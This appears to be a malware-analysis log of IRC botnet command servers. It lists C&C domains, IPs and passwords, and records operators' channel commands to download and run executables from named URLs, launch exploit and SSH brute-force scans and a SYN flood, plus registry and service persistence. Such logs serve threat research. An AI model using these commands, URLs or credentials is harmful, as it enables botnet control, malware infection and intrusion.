dns.googleure.com

Botnet C&C irc
dns.googleure.com DNS_TYPE_A 92.241.164.227
92.241.164.227:1234
Nick: n{US|XPa}xvwpyyv
Username: xvwpyyv
Server Pass: null
Joined Channel: #!ngr! with Password ngrBot
Joined Channel: #US
Channel Topic for Channel #!ngr!: ".mod pdef off .s .j -c IT,ITA,ES,ESP,FR,FRA #uz4 .up http://jeanie.ws/new.exe 3c62c54ff04ae4af8262ae4d5e2683c7"
Private Message to Channel #!ngr!: "[d="http://jeanie.ws/new.exe" s="278528 bytes"] Updated bot file "C:\Documents and Settings\Administrator\Application Data\Dekfki.exe""

m3rcil3ss.co.cc ( infeCTeD )

Botnet C&C irc
m3rcil3ss.co.cc DNS_TYPE_A 212.252.34.199
212.252.34.199:6667
Nick: [AUS|XP|620207]
Username: onfkyav
Server Pass: m3rc
Joined Channel: #m3rc with Password k\xfcrt
Channel Topic for Channel #m3rc: ".p2p"
Private Message to Channel #m3rc: "[p2p]: Spreading to p2p folders."
Private Message to User [AUS|XP|620207]: "VERSION"

Process Created:
C:\WINDOWS\upterd.exe

Registry Created:
HKLM\​SOFTWARE\​Microsoft\​Windows NT\​CurrentVersion\​Terminal Server\​Install\​Software\​Microsoft\​Windows\​CurrentVersion\​Run\​ info Windows Services upterd.exe
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​ info Windows Services upterd.exe

urcdw.zavoddebila.com ( OgarD / virus )

Botnet C&C irc
urcdw.zavoddebila.com DNS_TYPE_A 72.20.14.38
72.20.14.38:33333
Nick: {NOVA}[USA][XP-SP3]610119
Username: VirUs
VirUs "" "lol" :My_Name_iS_PIG_and_Iam_A_GaY
Joined Channel: ##Turb0-XXX##
Channel Topic for Channel ##Turb0-XXX##: "!NAZELturbo http://thenaturemedia.in/install.48691.exe ifasfa264.exe | !NAZELturbo http://7arhive.com/setup585.exe afasfa4.exe | !NAZELturbo http://img103.herosh.com/2011/02/09/666929080.gif fsaf24.exe | !NAZELturbo http://img104.herosh.com/2011/02/08/547715969.gif micro1.exe"
Private Message to Channel ##Turb0-XXX##: "Executed process "fsaf24.exe"."
Private Message to Channel ##Turb0-XXX##: "Download failed!"
Private Message to Channel ##Turb0-XXX##: "Executed process "afasfa4.exe"."
Private Message to Channel ##Turb0-XXX##: "Executed process "micro1.exe"."

Process Created:
C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\services.exe
Registry Modifield
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​ info
MS Service Manager C:\​DOCUME~1\​ADMINI~1\​LOCALS~1\​Temp\​services.exe

60.165.98.198

Botnet C&C irc
addr: pantylost.mooo.com ip: 60.165.98.198
addr: marinehh.twilightparadox.com ip: 60.165.98.198
addr: stockingag.jumpingcrab.com ip: 60.165.98.198
addr: pantylost.crabdance.com ip: 60.165.98.198
addr: onthebreak.UglyAs.com ip: 60.165.98.198
addr: headmefc.AsSexyAs.com ip: 60.165.98.198
addr: computercc.ignorelist.com ip: 60.165.98.198
addr: sandtp.chickenkiller.com ip: 60.165.98.198
addr: greenbarc.IsTheBe.st ip: 60.165.98.198
addr: ringc.strangled.net ip: 60.165.98.198

60.165.98.198:8684
NICK [N00_USA_XP_39922187]
USER SP2-917 * 0 :COMPUTERNAME
Now talking in #blue3
* Topic is '|.ddosstop -s|.stop -s|.patcher http://58.240.104.57:9008/logo.gif 0 -s|.shttp ftp://ccc:1@60.10.179.100:6054/282.gif fewh.exe -s|.asc svrsvc_SP2 100 5 9999 1 -b -e -r -s|.asc svrsvc_SP2 50 5 9999 0 -b -r -s|.join #sd3 -s'
Set by ccc on Tue Dec 28 08:36:24

Now talking in #2k38
Topic is '|.ddosstop -s|.aksyn www.jjj.com 80 9999999 wyn 5000 100 5 0 0 0 0 10 5 0 0 -s'
Set by ccc on Wed Feb 09 17:18:13

Process Created:
C:\WINDOWS\system32\serivces.exe
Services Created:
PlugPlayCM SERVICE_AUTO_START "C:\WINDOWS\system32\serivces.exe"

jjjjjj.ahrampress.net

Found 1 addresses
addr: jjjjjj.ahrampress.net ip: 123.183.217.32

jjjjjj.ahrampress.net:6943
123.183.217.32 5943
123.183.217.32 6943

PASSWORD: eee
KCIK [N00_USA_XP_39922187]
rssr SP2-917 * 0 :COMPUTERNAME
Now talking in #j
Channel: #j
Topic is '.r.getfile -S|.r.getfile http://61.136.59.34/LWC/img/mheader.png C:\radr.exe 1|.asc -S|.http http://61.136.59.34/LWC/dc0.exe|.asc exp_all 25 5 0 -a -r -e|.asc exp_all 25 5 0 -b -r -e|.asc exp_all 20 5 0 -b|.asc exp_all 20 5 0 -c|.asc exp_all 10 5 0 -a'
Set by minder48 on Mon Jan 17 17:58:06

# [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]
Microsoft Driver Setup = "%Windir%\wjdrive32.exe"
so that wjdrive32.exe runs every time Windows starts
# [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
Microsoft Driver Setup = "%Windir%\wjdrive32.exe"
C:\WINDOWS\wjdrive32.exe

aaaa.forexinvest4.com (Updated)

Botnet IRC C&C
Found 1 addresses
addr: aaaa.forexinvest4.com ip: 216.104.45.90

aaaa.forexinvest4.com:6939
PASS laorosr
Channel#dpi
Channel#!
KCIK [N00_USA_XP_39922187]
rssr SP2-917 * 0 :COMPUTERNAME
Now talking in #!
Topic is '.asc -S|.http http://walthamfinancial.com/xmob.exe|.asc exp_all 25 5 0 -a -r -e|.asc exp_all 25 5 0 -b -r -e|.asc exp_all 20 5 0 -b|.asc exp_all 20 5 0 -c|.asc exp_all 10 5 0 -a'
Set by teaser57 on Tue Jan 11 08:24:00

Process
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVer.\​policies\​Explorer\​Run\​
Microsoft Driver Setup
C:\WINDOWS\ggdrive32.exe

aaaa.forexinvest4.com

Botnet IRC C&C
Found 2 addresses
addr: aaaa.forexinvest4.com ip: 109.196.130.66
addr: aaaa.forexinvest4.com ip: 109.196.130.50

aaaa.forexinvest4.com:6939
PASS laorosr
Channel#dpi
Channel#!
KCIK [N00_USA_XP_39922187]
rssr SP2-917 * 0 :COMPUTERNAME
Now talking in #!
Topic is '.asc -S|.http http://walthamfinancial.com/xmob.exe|.asc exp_all 25 5 0 -a -r -e|.asc exp_all 25 5 0 -b -r -e|.asc exp_all 20 5 0 -b|.asc exp_all 20 5 0 -c|.asc exp_all 10 5 0 -a'
Set by teaser57 on Tue Jan 11 08:24:00

Process
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVer.\​policies\​Explorer\​Run\​
Microsoft Driver Setup
C:\WINDOWS\ggdrive32.exe

irc.wanger.biz (Yewnix)

irc.wanger.biz:8782
46.4.232.76:8782
Nick: :{00-USA-XP-pc7-7123}
Username: blaze
Server Pass: weed
Joined Channel: #sshscan2
Channel Topic for Channel #sshscan2: ".scan sshgodscan 38 8 0 192.x.x.x -n -b |.scan sshgodscan 30 8 0 141.x.x.x -n -b |.scan sshgodscan 30 8 0 218.x.x.x -n -b"
Set by Yewnix on Tue Dec 21 20:50:57
Private Message to User {iNF-00-USA-XP-p\xb8\x8cI: "SC// Random Port Scan started on 218.x.x.x:22 with a delay of 8 seconds for 0 minutes using 30 threads."
Private Message to User {iNF-00-USA-XP-p\xb8\x8cI: "SC// Random Port Scan started on 192.x.x.x:22 with a delay of 8 seconds for 0 minutes using 38 threads."
Private Message to User {iNF-00-USA-XP-p\xb8\x8cI: "SC// Random Port Scan started on 141.x.x.x:22 with a delay of 8 seconds for 0 minutes using 30 threads."

HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​
Windows Data Serivce system32.exe
C:\WINDOWS\system32.exe

aaaaaaaa.schooluni.us (bfbot) &(rxbot)

Found 2 addresses
addr: aaaaaaaa.schooluni.us ip: 109.196.130.66
addr: aaaaaaaa.schooluni.us ip: 109.196.130.50

aaaaaaaa.schooluni.us:7196
PASS laorosr
Channel#dpi
Channel#!
KCIK [N00_USA_XP_39922187]
rssr SP2-917 * 0 :COMPUTERNAME
Now talking in #!
Topic is '.asc -S|.http http://61.136.59.34/mobi.exe|.asc exp_all 25 5 0 -a -r -e|.asc exp_all 25 5 0 -b -r -e|.asc exp_all 20 5 0 -b|.asc exp_all 20 5 0 -c|.asc exp_all 10 5 0 -a'
Set by nonSTOPspread66 on Sat Dec 18 23:19:01

Process
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVer.\​policies\​Explorer\​Run\​
Microsoft Driver Setup
C:\WINDOWS\gwdrive32.exe

im.maximum-irc.info

im.maximum-irc.info

Found 4 addresses
addr: im.maximum-irc.info ip: 119.202.198.117
addr: im.maximum-irc.info ip: 139.91.102.100
addr: im.maximum-irc.info ip: 139.91.102.101
addr: im.maximum-irc.info ip: 150.165.168.123
im.maximum-irc.info:9595
139.91.102.101:9595
Nick: [USA|00|XP|P|48168]
Username: ywzyhaf
Server Pass: Peja0444@
Joined Channel: #!!IM!! with Password fatj00
Channel Topic for Channel #!!IM!!: ".dl.start http://dl.dropbox.com/u/14684555/r.exe C:\r.exe 1 -s"

HKLM\​SOFTWARE\​Microsoft\​Windows NT\​CurrentVersion\​Terminal Server\​Install\​Software\​Microsoft\​Windows\​CurrentVersion\​Run\
HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​
Windows winlogin.exe
C:\WINDOWS\winlogin.exe

bean.F-QACS.INFO

bean.F-QACS.INFO:5337
178.162.175.63:5337
Nick: [NEW][USA]72014
Username: [NEW][USA]72014
Joined Channel: #ed

HKU\​S-1-5-21-842925246-1425521274-308236825-500\​SOFTWARE\​MICROSOFT\​WINDOWS\​CURRENTVERSION\​RUN
Windows Service Host
C:\Documents and Settings\Administrator\Application Data\svchost.exe

flash.quickupdates.net (Yewnix)

flash.quickupdates.net:5337
46.4.232.76:5337
Nick: :{00-USA-XP-pc3-3370}
Username: blaze
Joined Channel: #join with Password error
Channel Topic for Channel #join: ".aSc -S |.sub |.wu |.worm |.scan svrsvc_BRUTE 45 20 100 -r -b -e -s |.scan SVRSVC_ESP 35 3 0 -b -r -e -s |.scan SVRSVC_ESP_SP2 35 3 0 -b -r -e -s |.scan SVRSVC_ARG 35 3 0 -b -r -e -s |.scan SVRSVC_ARG_SP2 35 3 0 -b -r -e -s |.scan SVRSVC_RUS 35 3 0 -b -r -e -s |.scan SVRSVC_RUS_SP2 35 3 0 -b -r -e -s"

HKLM\​SOFTWARE\​Microsoft\​Windows\​CurrentVersion\​Run\​ info
Windows Data Serivce C:\WINDOWS\services.exe

pig.botsgod.info

Botnet C&C irc
Found 3 addresses
addr: pig.botsgod.info ip: 217.70.188.30
addr: pig.botsgod.info ip: 92.243.28.194
addr: pig.botsgod.info ip: 95.142.163.184

pig.botsgod.info:5900
User Name: VirUs
Real Name: Iam_PIG_And_Iam_A_GAY0003
Password: isPigaGAY
Nick Name: [USA][XP-SP3]371106
Channel:##ENC##
Password:Pig_IS_STUPID

Topic is '!NL FRRN%^^UUU]QGRCN?J?AC]A3K^NPCEW^BAVN`]HNCE QQBQBC]CVC | !NL FRRN%^^QCPTCP\B?R?]2CR^G2QR?JJ]}#"~~]CVC ?QBQB]CVC | !NL FRRN%^^NP3K3SN]G2D3^QCRSN"`~]CVC QBQBBB]CVC | !NL FRRN%^^Q3DRU?PCU3PI]2CR^G2QR?JJ]}#"~~]CVC ufuf]gzg'
* Set by xXx on Wed Nov 03 17:52:13

Creates value "Microsoft UneXpected"="C:\TEMP\mtfsys32.exe" in key "
HKLM\Software\Microsoft\Windows\CurrentVersion\Run".
Creates a mutex PigGotFucKedManyTimesAndAlreadyProvedHimGay.
Creates process "mtfsys32.exe".

malware url
http://www.sitepalace.com/pregy/ENCS1p1.jpeg

gangbang.mytijn.org ( ssh2 )

gangbang.mytijn.org DNS_TYPE_A 98.156.90.172 85.92.87.233
98.156.90.172:43000
Botnet C&C irc
Nick: |KOR|XP|00|803303|
Username: SP3-443
Server Pass: scary
Joined Channel: #!ssh with Password ERROR
Channel Topic for Channel #!ssh: ".aSc ssh 40 8 0 85.x.x.x -b -r -s |.aSc ssh 40 8 0 85.x.x.x -b -r -s |.aSc ssh 40 8 0 86.x.x.x -b -r -s"

Startup
Services Created:
Name Type Path
Windows System Updates SERVICE_AUTO_START "C:\Documents and Settings\Administrator\Application Data\exxploiter.exe"

irc.metraiciono.com

irc.metraiciono.com DNS_TYPE_A 95.211.84.164

95.211.84.164:6567
Botnet C&C irc
Nick: [SI|AUT|00|P|04244]
Username: XP-5923
Server Pass: pr1v4d0onl1n3r
Joined Channel: #canal1# with Password c1rc0s0leil
Channel Topic for Channel #canal1#: ".desfi http://174.121.2.222/~toxicok/wp-content/languages/home.exe c:\WINDOWS\home.exe 1"
Private Message to Channel #canal1#: "[Dl]: File download: 128.0KB to: c:\WINDOWS\home.exe @ 64.0KB/sec."
Private Message to Channel #canal1#: "[Dl]: Created process: "c:\WINDOWS\home.exe", PID: <448>"

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows NT\​CurrentVersion\​Terminal Server\​Install\​Software\​Microsoft\​Windows\​CurrentVersion\​Run\​
info Ci Servs Sontiwin.exe
HKLM\​SOFTWARE\​Microsoft\ ​Windows\​CurrentVersion\​Run\​
info Ci Servs Sontiwin.exe

l33t.shadow-mods.net ( RadXScan )

l33t.shadow-mods.net:6667
91.121.78.121:6667

Botnet C&C irc
channel:##konvit-rad##
key:f00kU


Startup
rem ### SERVICE CONFIG FILE ###
SET CONFIG=Service.dll
IF EXIST %CONFIG% EXIT
ECHO>%CONFIG% [Settings]
ECHO>>%CONFIG% ServiceName=svcfost
ECHO>>%CONFIG% CheckProcessSeconds=60
ECHO.>>%CONFIG%
ECHO>>%CONFIG% [Process0]
ECHO>>%CONFIG% CommandLine=svchost.exe
ECHO>>%CONFIG% WorkingDir=%CD%\
ECHO>>%CONFIG% PauseStart=1000
ECHO>>%CONFIG% PauseEnd=1000
ECHO>>%CONFIG% UserInterface=No
ECHO>>%CONFIG% Restart=Yes

service -i
net start svcfost

irc.bigshitsandwich.org ( RadXScan )

irc.bigshitsandwich.org:6667
83.170.84.20:6667

Botnet C&C irc
Channel:#mp3-ops
key:fuckU
* Topic is '.scan 77'
* Set by doom on Sat Jul 03 07:58:54

[Scan] [Complete] [Range: 77.244.0.0-77.244.255.255] [DigiX]
[ReScan] [Initiated] [DigiX]
[Scan] [Range: 77.106.0.0-77.106.255.255] [DigiX]
[Found Radmin] [Info: 77.126.12.173/No Pass] [DigiX]

startup
rem ### SERVICE CONFIG FILE ###
SET CONFIG=Service.dll
IF EXIST %CONFIG% EXIT
ECHO>%CONFIG% [Settings]
ECHO>>%CONFIG% ServiceName=svcfost
ECHO>>%CONFIG% CheckProcessSeconds=60
ECHO.>>%CONFIG%
ECHO>>%CONFIG% [Process0]
ECHO>>%CONFIG% CommandLine=Radx.exe
ECHO>>%CONFIG% WorkingDir=%CD%\
ECHO>>%CONFIG% PauseStart=1000
ECHO>>%CONFIG% PauseEnd=1000
ECHO>>%CONFIG% UserInterface=No
ECHO>>%CONFIG% Restart=Yes

service -i
net start svcfost

gangbang.mytijn.org

gangbang.mytijn.org
DNS_TYPE_A
85.92.87.233
98.156.90.172


85.92.87.233:25343

Botnet C&C irc
Nick: :|XP|00|AUT|79994
Username: PotHead
Server Pass: scary
Joined Channel: #Main# with Password ERROR
Channel Topic for Channel #Main#: ".scan RUS 35 3 0 -b -s"

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows\​ CurrentVersion\​Run\​
info cRSCS crscs.exe

ulove.tigolbittys.info

Domains and Sub Domains
ilove.tigolbittys.info
ulove.tigolbittys.info
free.tinypicbox.com
one.tinypicbox.com

ulove.tigolbittys.info DNS_TYPE_A
178.32.55.3
83.15.10.202
91.121.78.121
178.32.48.79
178.32.49.4

Botnet C&C irc

83.15.10.202:7171

psyBNC2.3.2-7
Connected. Now logging in...
User Anonymous logged in.
-
Your IRC Client did not support a password. Please type /QUOTE PASS your password to connect.

Nick: [00|AUT|148343]
Username: XP-9617
Server Pass: fuck3d

Channel: #links#
Channel: #hp#

Topic is '^run.stop -s|^run http://dessertsrecipes.net/katrian/shell/r.exe c:\45jknl.exe 1|^asc -S -s|^http http://dessertsrecipes.net/katrian/shell/h.exe|^asc svrsvc_all 30 3 0 -e -b -s'
Set by ajlk on Wed Jun 30 05:55:57

Startup
HKLM\​SOFTWARE\​Microsoft\​Windows\​ CurrentVersion\​Run\​
info Windows Notify Service wntfy.exe

updat1.bejsis.com

Botnet C&C IRC
210.170.62.106:1234
Nick: n[AUT|XP]6732262
Username: 9142
Joined Channel: #dl#

Start up
HKLM\​SOFTWARE\​Microsoft\​Windows NT\​CurrentVersion\​Winlogon\​
info Userinit C:\​WINDOWS\​system32\​ userinit.exe,C:\​WINDOWS\​redfil.exe